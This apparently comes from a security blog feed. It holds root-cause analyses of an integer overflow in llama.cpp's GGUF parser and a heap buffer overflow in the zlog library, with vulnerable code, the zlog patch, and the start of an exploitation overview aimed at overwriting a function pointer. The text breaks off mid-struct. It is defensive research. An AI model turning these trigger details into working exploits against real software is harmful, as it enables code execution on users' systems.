<p><code class="language-plaintext highlighter-rouge">[1]</code> is the vulnerable variable (<code class="language-plaintext highlighter-rouge">size_t</code>) where the integer overflow will happen. <code class="language-plaintext highlighter-rouge">[2]</code> In this line the padded padded size of the current tensor is added to <code class="language-plaintext highlighter-rouge">ctx-&gt;size</code>, but there is no bounds checking here so if the total tensor data size can exceed <code class="language-plaintext highlighter-rouge">UINT64_MAX</code> (a 64-bit unsigned integer wrap around) then a integer overflow will occur, thus making <code class="language-plaintext highlighter-rouge">ctx-&gt;size</code> become smaller.  To actually trigger the vulnerability a the triggering tensor must match the overflowed value of the previous tensors in the GGUF file.</p>

<p>An allocation of memory for the tensor data that uses <code class="language-plaintext highlighter-rouge">ctx-&gt;size</code> (which may be small, because of the vulnerability causing a under allocation) happens if <code class="language-plaintext highlighter-rouge">prams.no_alloc</code> is false.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">ggml_tensor</span> <span class="o">*</span> <span class="n">data</span> <span class="o">=</span> <span class="n">nullptr</span><span class="p">;</span> <span class="c1">// [3]</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">params</span><span class="p">.</span><span class="n">no_alloc</span><span class="p">)</span> <span class="p">{</span>
	<span class="n">data</span> <span class="o">=</span> <span class="n">ggml_new_tensor_1d</span><span class="p">(</span><span class="n">ctx_data</span><span class="p">,</span> <span class="n">GGML_TYPE_I8</span><span class="p">,</span> <span class="n">ctx</span><span class="o">-&gt;</span><span class="n">size</span><span class="p">);</span> <span class="c1">// [4]</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">[3]</code> Here is the <code class="language-plaintext highlighter-rouge">struct ggml_tensor</code>.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">ggml_tensor</span> <span class="p">{</span>
	<span class="k">enum</span> <span class="n">ggml_type</span> <span class="n">type</span><span class="p">;</span>
	<span class="k">struct</span> <span class="n">ggml_backend_buffer</span> <span class="o">*</span> <span class="n">buffer</span><span class="p">;</span>
	<span class="kt">int64_t</span> <span class="n">ne</span><span class="p">[</span><span class="n">GGML_MAX_DIMS</span><span class="p">];</span> <span class="c1">// number of elements</span>
	<span class="kt">size_t</span> <span class="n">nb</span><span class="p">[</span><span class="n">GGML_MAX_DIMS</span><span class="p">];</span> <span class="c1">// stride in bytes:</span>
	<span class="c1">// nb[0] = ggml_type_size(type)</span>
	<span class="c1">// nb[1] = nb[0] * (ne[0] / ggml_blck_size(type)) + padding</span>
	<span class="c1">// nb[i] = nb[i-1] * ne[i-1]</span>
	<span class="c1">// compute data</span>
	<span class="k">enum</span> <span class="n">ggml_op</span> <span class="n">op</span><span class="p">;</span>
	<span class="c1">// op params - allocated as int32_t for alignment</span>
	<span class="kt">int32_t</span> <span class="n">op_params</span><span class="p">[</span><span class="n">GGML_MAX_OP_PARAMS</span> <span class="o">/</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">int32_t</span><span class="p">)];</span>
	<span class="kt">int32_t</span> <span class="n">flags</span><span class="p">;</span>
	<span class="k">struct</span> <span class="n">ggml_tensor</span> <span class="o">*</span> <span class="n">src</span><span class="p">[</span><span class="n">GGML_MAX_SRC</span><span class="p">];</span>
	<span class="c1">// source tensor and offset for views</span>
	<span class="k">struct</span> <span class="n">ggml_tensor</span> <span class="o">*</span> <span class="n">view_src</span><span class="p">;</span>
	<span class="kt">size_t</span> <span class="n">view_offs</span><span class="p">;</span>
	<span class="kt">void</span> <span class="o">*</span> <span class="n">data</span><span class="p">;</span> <span class="c1">// [5]</span>
	<span class="kt">char</span> <span class="n">name</span><span class="p">[</span><span class="n">GGML_MAX_NAME</span><span class="p">];</span>
	<span class="kt">void</span> <span class="o">*</span> <span class="n">extra</span><span class="p">;</span> <span class="c1">// extra things e.g. for ggml-cuda.cu</span>
	<span class="kt">char</span> <span class="n">padding</span><span class="p">[</span><span class="mi">8</span><span class="p">];</span>
<span class="p">};</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">[4]</code> <code class="language-plaintext highlighter-rouge">ggml_new_tensor_1d()</code> creates a 1D tensor (usually called as data or blob_tensor), and its data buffer is allocated using overflowing  <code class="language-plaintext highlighter-rouge">ctx-&gt;size</code>,  to allocated a small heap based buffer (undersized heap allocation). <code class="language-plaintext highlighter-rouge">[5]</code> the pointer is <code class="language-plaintext highlighter-rouge">data-&gt;data</code>.</p>

<p>The data pointer (<code class="language-plaintext highlighter-rouge">cur-&gt;data</code>) of each tensor is set to point to a location within the buffer allocated earlier.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ggml_set_no_alloc</span><span class="p">(</span><span class="n">ctx_data</span><span class="p">,</span> <span class="nb">true</span><span class="p">);</span> <span class="c1">// [6]</span>
<span class="c1">// create the tensors</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">ctx</span><span class="o">-&gt;</span><span class="n">info</span><span class="p">.</span><span class="n">size</span><span class="p">();</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span> <span class="p">{</span>
	<span class="k">const</span> <span class="k">struct</span> <span class="n">gguf_tensor_info</span> <span class="o">&amp;</span> <span class="n">info</span> <span class="o">=</span> <span class="n">ctx</span><span class="o">-&gt;</span><span class="n">info</span><span class="p">[</span><span class="n">i</span><span class="p">];</span> <span class="c1">// [7]</span>
	<span class="k">struct</span> <span class="n">ggml_tensor</span> <span class="o">*</span> <span class="n">cur</span> <span class="o">=</span> <span class="n">ggml_new_tensor</span><span class="p">(</span><span class="n">ctx_data</span><span class="p">,</span> <span class="n">info</span><span class="p">.</span><span class="n">t</span><span class="p">.</span><span class="n">type</span><span class="p">,</span> <span class="n">GGML_MAX_DIMS</span><span class="p">,</span> <span class="n">info</span><span class="p">.</span><span class="n">t</span><span class="p">.</span><span class="n">ne</span><span class="p">);</span>
	<span class="n">ok</span> <span class="o">=</span> <span class="n">ok</span> <span class="o">&amp;&amp;</span> <span class="n">cur</span> <span class="o">!=</span> <span class="n">nullptr</span><span class="p">;</span>
	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">ok</span><span class="p">)</span> <span class="p">{</span>
		<span class="k">break</span><span class="p">;</span>
	<span class="p">}</span>
	<span class="n">ggml_set_name</span><span class="p">(</span><span class="n">cur</span><span class="p">,</span> <span class="n">info</span><span class="p">.</span><span class="n">t</span><span class="p">.</span><span class="n">name</span><span class="p">);</span>
	<span class="c1">// point the data member to the appropriate location in the binary blob using the tensor info</span>
	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">params</span><span class="p">.</span><span class="n">no_alloc</span><span class="p">)</span> <span class="p">{</span>
	<span class="n">cur</span><span class="o">-&gt;</span><span class="n">data</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span> <span class="n">data</span><span class="o">-&gt;</span><span class="n">data</span> <span class="o">+</span> <span class="n">info</span><span class="p">.</span><span class="n">offset</span><span class="p">;</span> <span class="c1">// [8] HEAP LOCATION | IF iNTERGER OVERFLOW THEN OUT-OF-BOUNDS ACCESS</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">[6]</code> This line temporarily sets <code class="language-plaintext highlighter-rouge">no_alloc</code> for creating tensors. <code class="language-plaintext highlighter-rouge">[7]</code> <code class="language-plaintext highlighter-rouge">info</code> is the same as <code class="language-plaintext highlighter-rouge">ti</code> from where the vulnerability is initially introduced. <code class="language-plaintext highlighter-rouge">[8]</code> <code class="language-plaintext highlighter-rouge">data-&gt;data</code> is the pointer to the allocated heap buffer and <code class="language-plaintext highlighter-rouge">info.offset</code> is the offset read directly from the GGUF file for the current tensor. If <code class="language-plaintext highlighter-rouge">info.offset</code> is greater than <code class="language-plaintext highlighter-rouge">ctx-&gt;size</code> (after integer overflow), then <code class="language-plaintext highlighter-rouge">cur-&gt;data</code> will point to a out of bounds location than the allocated heap buffer.</p>

<p>Any operation that uses the <code class="language-plaintext highlighter-rouge">cur-&gt;data</code>pointer will result in a heap out-of-bounds read or write.</p>

<h3 id="about-the-poc">About the PoC</h3>

<p>There is a already existing <a href="https://huggingface.co/yuuoniy/overflow/blob/main/generate_poc.c">PoC</a>, but i rewrote it so that I can better understand how the vulnerability is triggered.</p>

<p> The code snippet from <code class="language-plaintext highlighter-rouge">examples/gguf/gguf.cpp</code> (specifically from <code class="language-plaintext highlighter-rouge">gguf_ex_read_1()</code> ) attempts to read and print tensor data:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">ggml_tensor</span> <span class="o">*</span> <span class="n">cur</span> <span class="o">=</span> <span class="n">ggml_get_tensor</span><span class="p">(</span><span class="n">ctx_data</span><span class="p">,</span> <span class="n">name</span><span class="p">);</span> <span class="c1">//[1]</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"%s: tensor[%d]: n_dims = %d, ne = (%d, %d, %d, %d),</span><span class="err">
</span><span class="s">	name = %s, data = %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span>
		<span class="n">__func__</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="n">ggml_n_dims</span><span class="p">(</span><span class="n">cur</span><span class="p">),</span> <span class="kt">int</span><span class="p">(</span><span class="n">cur</span><span class="o">-&gt;</span><span class="n">ne</span><span class="p">[</span><span class="mi">0</span><span class="p">]),</span> <span class="kt">int</span><span class="p">(</span><span class="n">cur</span><span class="o">-&gt;</span><span class="n">ne</span><span class="p">[</span><span class="mi">1</span><span class="p">]),</span> <span class="kt">int</span><span class="p">(</span><span class="n">cur</span><span class="o">-&gt;</span><span class="n">ne</span><span class="p">[</span><span class="mi">2</span><span class="p">]),</span> <span class="kt">int</span><span class="p">(</span><span class="n">cur</span><span class="o">-&gt;</span><span class="n">ne</span><span class="p">[</span><span class="mi">3</span><span class="p">]),</span> <span class="n">cur</span><span class="o">-&gt;</span><span class="n">name</span><span class="p">,</span> <span class="n">cur</span><span class="o">-&gt;</span><span class="n">data</span><span class="p">);</span>
<span class="c1">// print first 10 elements</span>
<span class="k">const</span> <span class="kt">float</span> <span class="o">*</span> <span class="n">data</span> <span class="o">=</span> <span class="p">(</span><span class="k">const</span> <span class="kt">float</span> <span class="o">*</span><span class="p">)</span> <span class="n">cur</span><span class="o">-&gt;</span><span class="n">data</span><span class="p">;</span> <span class="c1">//[2]</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"%s data[:10] : "</span><span class="p">,</span> <span class="n">name</span><span class="p">);</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">j</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">j</span> <span class="o">&lt;</span> <span class="n">MIN</span><span class="p">(</span><span class="mi">10</span><span class="p">,</span> <span class="n">ggml_nelements</span><span class="p">(</span><span class="n">cur</span><span class="p">));</span> <span class="o">++</span><span class="n">j</span><span class="p">)</span> <span class="p">{</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"%f "</span><span class="p">,</span> <span class="n">data</span><span class="p">[</span><span class="n">j</span><span class="p">]);</span> <span class="c1">// [3]</span>
<span class="p">}</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n\n</span><span class="s">"</span><span class="p">);</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">[1]</code> <code class="language-plaintext highlighter-rouge">cur</code> is the tensor structure, <code class="language-plaintext highlighter-rouge">[2]</code> <code class="language-plaintext highlighter-rouge">data</code> holds a Out-of-Bounds pointer. <code class="language-plaintext highlighter-rouge">[3]</code> A Out-of-Bounds read occurs and is printed to the console.</p>

<p>The  <a href="https://huggingface.co/yuuoniy/overflow/blob/main/generate_poc.c">PoC</a> generates a malicious GGUF file to trigger the vulnerability. It manipulates the tensor metadata (names, dimensions, types and offsets) to cause <code class="language-plaintext highlighter-rouge">ctx-size</code> integer overflow and pass relevant checks.</p>

<p>It can be found here: https://huggingface.co/yuuoniy/overflow/blob/main/generate_poc.c</p>

<hr />

<p>I am currently working on exploiting this vulnerability.</p>]]></content><author><name></name></author><category term="research" /><category term="cve-analysis" /><category term="research" /><summary type="html"><![CDATA[A deep dive into CVE-2025-53630 in Llama.cpp, analyzing how malformed GGUF model inputs lead to a crash. This post walks through reversing the parser, identifying the root cause, and understanding how the bug can be triggered in practice.]]></summary></entry><entry><title type="html">Inside CVE-2024-22857: Root Cause Analysis of a zlog Memory Corruption Bug</title><link href="https://t1b4n3.github.io/research/cve-analysis/RCA-CVE-2024-22857/" rel="alternate" type="text/html" title="Inside CVE-2024-22857: Root Cause Analysis of a zlog Memory Corruption Bug" /><published>2026-03-13T00:00:00+02:00</published><updated>2026-03-13T00:00:00+02:00</updated><id>https://t1b4n3.github.io/research/cve-analysis/RCA-CVE-2024-22857</id><content type="html" xml:base="https://t1b4n3.github.io/research/cve-analysis/RCA-CVE-2024-22857/"><![CDATA[<h1 id="root-cause-analysis---cve-2024-22857">Root Cause Analysis |  <a href="https://nvd.nist.gov/vuln/detail/CVE-2024-22857">CVE-2024-22857</a></h1>

<p>CVE-2024-22857 is a heap based buffer overflow in zlog library version 1.1.0 to 1.2.17. The vulnerability is triggered when creating a new rule that is already defined in the provided configuration file. This vulnerability could lead to a potential arbitrary code execution.</p>
<h2 id="about-zlog">About Zlog</h2>

<p>zlog is a logging library designed for C code bases. It is known for its high performance and thread safe logging capabilities. zlog is customizable through a user-defined configuration file.</p>

<p>zlog uses 3 concepts for its configuration files, these concepts guide the library on how to process and output log messages.</p>

<ul>
  <li><strong>Categories:</strong> Used to specify different kinds of log entries.
    <ul>
      <li>A <em>category</em> in the source code is represented by <code class="language-plaintext highlighter-rouge">zlog_category_t *</code></li>
    </ul>
  </li>
  <li><strong>Formats:</strong> Used to describe log patterns.</li>
  <li><strong>Rules:</strong> Consists of category, level, output file and format.</li>
</ul>

<h3 id="using-zlog">Using zlog</h3>

<p>This example is from the github repo of this library.</p>

<p>First define a configuration file. (path <code class="language-plaintext highlighter-rouge">./zlog.conf</code>)</p>
<div class="language-conf highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[<span class="n">formats</span>]
<span class="n">simple</span> = <span class="s2">"%m%n"</span>
[<span class="n">rules</span>]
<span class="n">my_cat</span>.<span class="n">DEBUG</span>    &gt;<span class="n">stdout</span>; <span class="n">simple</span>
</code></pre></div></div>

<p>Program that uses the library.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="c1"> </span><span class="cp">
#include</span> <span class="cpf">"zlog.h"</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">**</span> <span class="n">argv</span><span class="p">)</span>
<span class="p">{</span>
	<span class="kt">int</span> <span class="n">rc</span><span class="p">;</span>
	<span class="n">zlog_category_t</span> <span class="o">*</span><span class="n">c</span><span class="p">;</span>

	<span class="n">rc</span> <span class="o">=</span> <span class="n">zlog_init</span><span class="p">(</span><span class="s">"./zlog.conf"</span><span class="p">);</span> <span class="c1">// load configuration file path</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">rc</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"init failed</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
		<span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="n">c</span> <span class="o">=</span> <span class="n">zlog_get_category</span><span class="p">(</span><span class="s">"my_cat"</span><span class="p">);</span> <span class="c1">// </span>
	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">c</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"get cat fail</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
		<span class="n">zlog_fini</span><span class="p">();</span>
		<span class="k">return</span> <span class="o">-</span><span class="mi">2</span><span class="p">;</span>
	<span class="p">}</span>
	<span class="n">zlog_info</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="s">"hello, zlog"</span><span class="p">);</span>
	<span class="n">zlog_fini</span><span class="p">();</span>
	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span> 
</code></pre></div></div>

<p>compile : <code class="language-plaintext highlighter-rouge">gcc test.c -o test -lzlog</code></p>
<h2 id="the-vulnerability-explained">The vulnerability Explained</h2>

<p>The commit message in the patch tells us all about the vulnerability.</p>

<p>commit message:</p>
<blockquote>
  <p>Size of <code class="language-plaintext highlighter-rouge">record_name</code> is <strong><code class="language-plaintext highlighter-rouge">MAXLEN_PATH(1024) + 1</code></strong> but <code class="language-plaintext highlighter-rouge">file_path</code> may have data upto <strong><code class="language-plaintext highlighter-rouge">MAXLEN_CFG_LINE(MAXLEN_PATH*4) + 1</code></strong>. So a check was missing in <code class="language-plaintext highlighter-rouge">zlog_rule_new()</code> while copying the <code class="language-plaintext highlighter-rouge">record_name</code> from <code class="language-plaintext highlighter-rouge">file_path + 1</code> which caused the buffer overflow. An attacker can exploit this vulnerability to overwrite the <code class="language-plaintext highlighter-rouge">zlog_record_fn record_func</code> function pointer to get arbitrary code execution.</p>
</blockquote>

<p>This makes things for us straight forward.</p>

<p>The vulnerability lies in <code class="language-plaintext highlighter-rouge">zlog_rule_new()</code>. When is <code class="language-plaintext highlighter-rouge">zlog_init()</code> is called, each line of the configuration file is parsed.</p>

<p>This is evident by the backtrace from gdb.</p>

<pre><code class="language-gdb">#0  zlog_rule_new (line=line@entry=0x7fff5f9e64f0 "my_cat.DEBUG    &gt;stdout; simple", levels=0x6366af94d2a0, default_format=0x6366af95b8f0, formats=0x6366af952b20, file_perms=0x180, 
    fsync_period=0x0, time_cache_count=0x7de19bd59490) at rule.c:571
#1  zlog_conf_parse_line (a_conf=a_conf@entry=0x7de19bcd7010, line=line@entry=0x7fff5f9e64f0 "my_cat.DEBUG    &gt;stdout; simple", 
    section=section@entry=0x7fff5f9e641c) at conf.c:529
#2  zlog_conf_build_with_file (a_conf=a_conf@entry=0x7de19bcd7010) at conf.c:338
#3  zlog_conf_new (config=config@entry=0x636689dc5004 "./zlog.conf") at conf.c:176
#4  zlog_init_inner (config=config@entry=0x636689dc5004 "./zlog.conf") at zlog.c:91
#5  zlog_init (config=0x636689dc5004 "./zlog.conf") at zlog.c:134
#6  main ()
</code></pre>

<p>The rules are read into memory from the user-defined configuration file. The library uses <code class="language-plaintext highlighter-rouge">zlog_rule_s</code> which is a struct to hold each rule.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define MAXLEN_PATH 1024
#define MAXLEN_CFG_LINE (MAXLEN_DATA*4)
</span>
<span class="k">struct</span> <span class="n">zlog_rule_s</span> <span class="p">{</span>
	<span class="kt">char</span> <span class="n">category</span><span class="p">[</span><span class="n">MAXLEN_CFG_LINE</span> <span class="o">+</span> <span class="mi">1</span><span class="p">];</span>
	<span class="kt">char</span> <span class="n">compare_char</span><span class="p">;</span>
	<span class="kt">int</span> <span class="n">level</span><span class="p">;</span>
	<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">level_bitmap</span><span class="p">[</span><span class="mi">32</span><span class="p">];</span> <span class="cm">/* for category determine whether output or not */</span>
	<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">file_perms</span><span class="p">;</span>
	<span class="kt">int</span> <span class="n">file_open_flags</span><span class="p">;</span>
	<span class="kt">char</span> <span class="n">file_path</span><span class="p">[</span><span class="n">MAXLEN_PATH</span> <span class="o">+</span> <span class="mi">1</span><span class="p">];</span>
	<span class="n">zc_arraylist_t</span> <span class="o">*</span><span class="n">dynamic_specs</span><span class="p">;</span>
	<span class="kt">int</span> <span class="n">static_fd</span><span class="p">;</span>
	<span class="n">dev_t</span> <span class="n">static_dev</span><span class="p">;</span>
	<span class="n">ino_t</span> <span class="n">static_ino</span><span class="p">;</span>
	<span class="kt">long</span> <span class="n">archive_max_size</span><span class="p">;</span>
	<span class="kt">int</span> <span class="n">archive_max_count</span><span class="p">;</span>
	<span class="kt">char</span> <span class="n">archive_path</span><span class="p">[</span><span class="n">MAXLEN_PATH</span> <span class="o">+</span> <span class="mi">1</span><span class="p">];</span>
	<span class="n">zc_arraylist_t</span> <span class="o">*</span><span class="n">archive_specs</span><span class="p">;</span>
	<span class="kt">FILE</span> <span class="o">*</span><span class="n">pipe_fp</span><span class="p">;</span>
	<span class="kt">int</span> <span class="n">pipe_fd</span><span class="p">;</span>
	<span class="kt">size_t</span> <span class="n">fsync_period</span><span class="p">;</span>
	<span class="kt">size_t</span> <span class="n">fsync_count</span><span class="p">;</span>
	<span class="n">zc_arraylist_t</span> <span class="o">*</span><span class="n">levels</span><span class="p">;</span>
	<span class="kt">int</span> <span class="n">syslog_facility</span><span class="p">;</span>
	<span class="n">zlog_format_t</span> <span class="o">*</span><span class="n">format</span><span class="p">;</span>
	<span class="n">zlog_rule_output_fn</span> <span class="n">output</span><span class="p">;</span>
	<span class="kt">char</span> <span class="n">record_name</span><span class="p">[</span><span class="n">MAXLEN_PATH</span> <span class="o">+</span> <span class="mi">1</span><span class="p">];</span>
	<span class="kt">char</span> <span class="n">record_path</span><span class="p">[</span><span class="n">MAXLEN_PATH</span> <span class="o">+</span> <span class="mi">1</span><span class="p">];</span>
	<span class="n">zlog_record_fn</span> <span class="n">record_func</span><span class="p">;</span>
<span class="p">};</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">zlog_conf_parse_line()</code> parses the line (<code class="language-plaintext highlighter-rouge">char *line</code>) and calls <code class="language-plaintext highlighter-rouge">zlog_rule_new()</code> with the <code class="language-plaintext highlighter-rouge">char* line</code>. <code class="language-plaintext highlighter-rouge">zlog_rule_new()</code> parses the line and initializes the correct properties.</p>

<p>Here is how it parses the line:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Line: my_cat.* ~/zlog.log; simple

selector : my_cat.*  |  sepreated by space
	category : my_cat | ends with .
	level : *
action : ~/zlog.log; simple
	output : ~/zlog.log | ends with ; 
		file_path : ~/zlog.log 
</code></pre></div></div>

<p>Now that we understand how <code class="language-plaintext highlighter-rouge">zlog_rule_new()</code> parses the line lets look at how the vulnerability is introduced.</p>

<p>The function first separates the <code class="language-plaintext highlighter-rouge">selector</code> and <code class="language-plaintext highlighter-rouge">action</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">char</span> <span class="o">*</span><span class="n">action</span><span class="p">;</span>
<span class="kt">char</span> <span class="n">selector</span><span class="p">[</span><span class="n">MAXLEN_CFG_LINE</span> <span class="o">+</span> <span class="mi">1</span><span class="p">];</span>
<span class="kt">int</span> <span class="n">nscan</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

<span class="n">nscan</span> <span class="o">=</span> <span class="n">sscanf</span><span class="p">(</span><span class="n">line</span><span class="p">,</span> <span class="s">"%s %n"</span><span class="p">,</span> <span class="n">selector</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">nread</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">nscan</span> <span class="o">!=</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
	<span class="n">zc_error</span><span class="p">(</span><span class="s">"sscanf [%s] fail, selector"</span><span class="p">,</span> <span class="n">line</span><span class="p">);</span>
	<span class="k">goto</span> <span class="n">err</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">action</span> <span class="o">=</span> <span class="n">line</span> <span class="o">+</span> <span class="n">nread</span><span class="p">;</span>
</code></pre></div></div>

<p>The from the <code class="language-plaintext highlighter-rouge">selector</code>, the <code class="language-plaintext highlighter-rouge">category</code> and <code class="language-plaintext highlighter-rouge">level</code> are separated and placed in their own variables. These are not important for us right now, so we will just continue to when the <code class="language-plaintext highlighter-rouge">output</code> was separated from the <code class="language-plaintext highlighter-rouge">action</code></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">char</span> <span class="n">format_name</span><span class="p">[</span><span class="n">MAXLEN_CFG_LINE</span> <span class="o">+</span> <span class="mi">1</span><span class="p">];</span>
<span class="kt">char</span> <span class="n">output</span><span class="p">[</span><span class="n">MAXLEN_CFG_LINE</span> <span class="o">+</span> <span class="mi">1</span><span class="p">];</span>
<span class="kt">char</span> <span class="n">file_path</span><span class="p">[</span><span class="n">MAXLEN_CFG_LINE</span> <span class="o">+</span> <span class="mi">1</span><span class="p">];</span>

<span class="n">memset</span><span class="p">(</span><span class="n">output</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">output</span><span class="p">));</span>
<span class="n">memset</span><span class="p">(</span><span class="n">format_name</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">format_name</span><span class="p">));</span>
<span class="n">nscan</span> <span class="o">=</span> <span class="n">sscanf</span><span class="p">(</span><span class="n">action</span><span class="p">,</span> <span class="s">" %[^;];%s"</span><span class="p">,</span> <span class="n">output</span><span class="p">,</span> <span class="n">format_name</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">nscan</span> <span class="o">&lt;</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
	<span class="n">zc_error</span><span class="p">(</span><span class="s">"sscanf [%s] fail"</span><span class="p">,</span> <span class="n">action</span><span class="p">);</span>
	<span class="k">goto</span> <span class="n">err</span><span class="p">;</span>
<span class="p">}</span>

<span class="cm">/* Then file_path is seperated from output*/</span>

<span class="n">memset</span><span class="p">(</span><span class="n">file_path</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">file_path</span><span class="p">));</span>
<span class="n">nscan</span> <span class="o">=</span> <span class="n">sscanf</span><span class="p">(</span><span class="n">output</span><span class="p">,</span> <span class="s">" %[^,],"</span><span class="p">,</span> <span class="n">file_path</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">nscan</span> <span class="o">&lt;</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
	<span class="n">zc_error</span><span class="p">(</span><span class="s">"sscanf [%s] fail"</span><span class="p">,</span> <span class="n">action</span><span class="p">);</span>
	<span class="k">goto</span> <span class="n">err</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The vulnerability happens on the condition that <code class="language-plaintext highlighter-rouge">file_path[0] == '$'</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">case</span> <span class="sc">'$'</span> <span class="p">:</span>
	<span class="n">sscanf</span><span class="p">(</span><span class="n">file_path</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="s">"%s"</span><span class="p">,</span> <span class="n">a_rule</span><span class="o">-&gt;</span><span class="n">record_name</span><span class="p">);</span> <span class="c1">// vulnerability</span>
	<span class="cm">/*...*/</span>
</code></pre></div></div>

<p>This code copies whats in <code class="language-plaintext highlighter-rouge">file_path</code> into <code class="language-plaintext highlighter-rouge">a_rule-&gt;record_name</code>. This is a vulnerable because the <code class="language-plaintext highlighter-rouge">a_rule-&gt;record_name</code> buffer holds only <code class="language-plaintext highlighter-rouge">MAXLEN_PATH + 1</code> which is equal to 1024 and  the  <code class="language-plaintext highlighter-rouge">file_path</code> buffer can hold data upto <code class="language-plaintext highlighter-rouge">MAXLEN_CFG_LINE + 1</code> which is equal to <code class="language-plaintext highlighter-rouge">MAXLEN_PATH*4 + 1</code>. <code class="language-plaintext highlighter-rouge">a_rule-&gt;record_name</code> resides in the heap (<code class="language-plaintext highlighter-rouge">a_rule = calloc(1, sizeof(zlog_rule_t));</code>)</p>

<p>The is no bounds check to limit the size of the string copied into <code class="language-plaintext highlighter-rouge">a_rule-&gt;record_name</code>.</p>
<h2 id="patch">Patch</h2>

<p>The patch just removed the <code class="language-plaintext highlighter-rouge">sscanf()</code> line and used the safer <code class="language-plaintext highlighter-rouge">strncpy()</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">case</span> <span class="sc">'$'</span> <span class="p">:</span>
	<span class="c1">// sscanf(file_path + 1, "%s", a_rule-&gt;record_name); // vulnerability</span>
	<span class="n">strncpy</span><span class="p">(</span><span class="n">a_rule</span><span class="o">-&gt;</span><span class="n">record_name</span><span class="p">,</span> <span class="n">file_path</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="n">MAXLEN_PATH</span><span class="p">);</span>
	<span class="cm">/*...*/</span>
</code></pre></div></div>

<h2 id="exploitation-overview">Exploitation Overview</h2>

<p>Because <code class="language-plaintext highlighter-rouge">a_rule-&gt;record_name</code> is stored inside the <code class="language-plaintext highlighter-rouge">zlog_rule_t</code> heap structure, overflowing it allows corruption of adjacent fields.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">zlog_rule_s</span> <span class="p">{</span>
	<span class="cm">/* ... */</span>
	<span class="kt">char</span> <span class="n">record_name</span><span class="p">[</span><span class="n">MAXLEN_PATH</span> <span class="o">+</span> <span class="mi">1</span><span class="p">];</span>
